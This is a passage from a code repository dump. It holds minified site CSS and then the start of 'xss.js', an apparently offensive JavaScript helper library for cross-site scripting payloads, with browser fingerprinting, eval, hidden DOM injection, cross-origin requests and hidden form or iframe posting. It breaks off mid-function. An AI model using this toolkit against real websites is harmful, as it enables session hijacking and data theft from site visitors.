5px}#myJS_content,#jsTemplate_content{width:"98%"}#Ww_B_0{margin:10px}#Ww_B_0_Left{width:310px;height:233px;float:left}#Ww_B_0_textarea{width:300px;height:230px}#Ww_B_0_Right{width:245px;height:230px;float:left;overflow:hidden;padding-left:5px}#about_detail{height:0;padding-bottom:100%}#about_us_banner{background-attachment:fixed;background-color:#272833;background-image:url("../images/banner.png");background-position:center center;background-size:cover;box-shadow:0 .25em .5em 0 rgba(0,0,0,0.25);min-height:100vh;position:relative;text-align:center;z-index:21}#firesun{margin-top:4em}#about_us_banner .content{overflow:auto;display:inline-block;margin-right:1%;max-width:95%;padding:2em;position:relative;text-align:right;vertical-align:middle;z-index:1}#about_us_banner .content header{display:inline-block;vertical-align:middle;margin:0;padding:0;border:0;font-size:100%;font:inherit}#about_us_banner .content header h2{font-size:2.5em;margin:0;color:#fff;font-weight:300;line-height:1.5em;letter-spacing:-0.025em}#about_us_banner .content header p{margin:.5em 0 0 0;top:0;font-size:1.25em;line-height:1.75em;color:#fff;position:relative}#about_us_banner .content .image{border-radius:100%;display:inline-block;height:18em;margin-left:3em;vertical-align:middle;width:18em}#about_us_banner a:link,a:visited{color:#FFF;text-decoration:underline}#about_us_banner a:hover,a:active{color:#FFF;text-decoration:none}#about_us_banner .content .image .img{border-radius:100%;display:block;width:100%}#about_us_banner .content .image{border-radius:100%;display:inline-block;height:18em;margin-left:3em;vertical-align:middle;width:18em}#about_us_banner .content .logoimage .logoimg{display:block;width:100%}#about_us_banner .content .logoimage{border-radius:100%;display:inline-block;height:18em;margin-left:3em;vertical-align:middle;width:18em}#about_us_banner .content .image .img{border-radius:100%;display:block;width:100%} -------------------------------------------------------------------------------- /template/xss.js: -------------------------------------------------------------------------------- 1 | var xss = function() { 2 | var x = { 3 | 'name': 'xss.js', 4 | 'version': '0.1', 5 | 'author': 'jackmasa' 6 | }; 7 | 8 | x.x = function(id) { 9 | return document.getElementById(id) 10 | }; 11 | 12 | //容错取值 13 | x.e = function(_) { 14 | try { 15 | return eval('(' + _ + ')') 16 | } catch (e) { 17 | return '' 18 | } 19 | }; 20 | 21 | //浏览器 22 | x.i = { 23 | i: !!self.ActiveXObject, 24 | c: !!self.chrome, 25 | f: self.mozPaintCount > -1, 26 | o: !!self.opera, 27 | s: !self.chrome && !!self.WebKitPoint 28 | }; 29 | 30 | //UA 31 | x.ua = navigator.userAgent; 32 | 33 | //判断是否为苹果手持设备 34 | x.apple = x.ua.match(/ip(one|ad|od)/i) != null; 35 | 36 | //随机数 37 | x.rdm = function() { 38 | return ~~(Math.random() * 100000) 39 | }; 40 | 41 | //url编码(UTF8) 42 | x.ec = encodeURIComponent; 43 | 44 | x.html = document.getElementsByTagName('html')[0]; 45 | 46 | /* 47 | * 销毁一个元素 48 | */ 49 | x.kill = function(e) { 50 | e.parentElement.removeChild(e); 51 | }; 52 | 53 | /* 54 | *绑定事件 55 | */ 56 | x.bind = function(e, name, fn) { 57 | e.addEventListener ? e.addEventListener(name, fn, false) : e.attachEvent("on" + name, fn); 58 | }; 59 | 60 | /* 61 | * dom准备完毕时执行函数 62 | */ 63 | x.ready = function(fn) { 64 | if (!x.i.i) { 65 | x.bind(document, 'DOMContentLoaded', fn); 66 | } else { 67 | var s = setInterval(function() { 68 | try { 69 | document.body.doScroll('left'); 70 | clearInterval(s); 71 | fn(); 72 | } catch (e) {} 73 | }, 4); 74 | } 75 | } 76 | 77 | /* 78 | * 同源检测 79 | */ 80 | x.o = function(url) { 81 | var link = x.dom('', 2); 82 | return link.protocol + link.hostname + ':' + link.port == location.protocol + location.hostname + ':' + link.port; 83 | }; 84 | 85 | /* 86 | * html to dom 87 | */ 88 | x.dom = function(html, gcsec) { 89 | var tmp = document.createElement('span'); 90 | tmp.innerHTML = html; 91 | var e = tmp.children[0]; 92 | e.style.display = 'none'; 93 | x.html.appendChild(e); 94 | gcsec >> 0 > 0 && setTimeout(function() { 95 | x.kill(e); 96 | }, gcsec * 1000); 97 | return e; 98 | }; 99 | 100 | /* 101 | * ajax 102 | */ 103 | x.ajax = function(url, params, callback) { 104 | (params instanceof Function) && (callback = params, params = void(0)); 105 | var XHR = (!x.o(url) && window.XDomainRequest) || 106 | window.XMLHttpRequest || 107 | (function() { 108 | return new ActiveXObject('MSXML2.XMLHTTP') 109 | }); 110 | var xhr = new XHR(); 111 | xhr.open(params ? 'post' : 'get', url); 112 | try { 113 | xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded') 114 | } catch (e) {} 115 | callback && (xhr.onreadystatechange = function() { 116 | (this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304)) && callback.apply(this, arguments); 117 | }); 118 | xhr.send(params); 119 | }; 120 | 121 | /* 122 | * no ajax 123 | */ 124 | x.najax = function(url, params) { 125 | if (params) { 126 | var form = x.dom('
'); 127 | form.action = url; 128 | for (var name in params) { 129 | var input = document.createElement('input'); 130 | input.name = name; 131 | input.value = params[name]; 132 | form.appendChild(input); 133 | } 134 | var iframe = x.dom('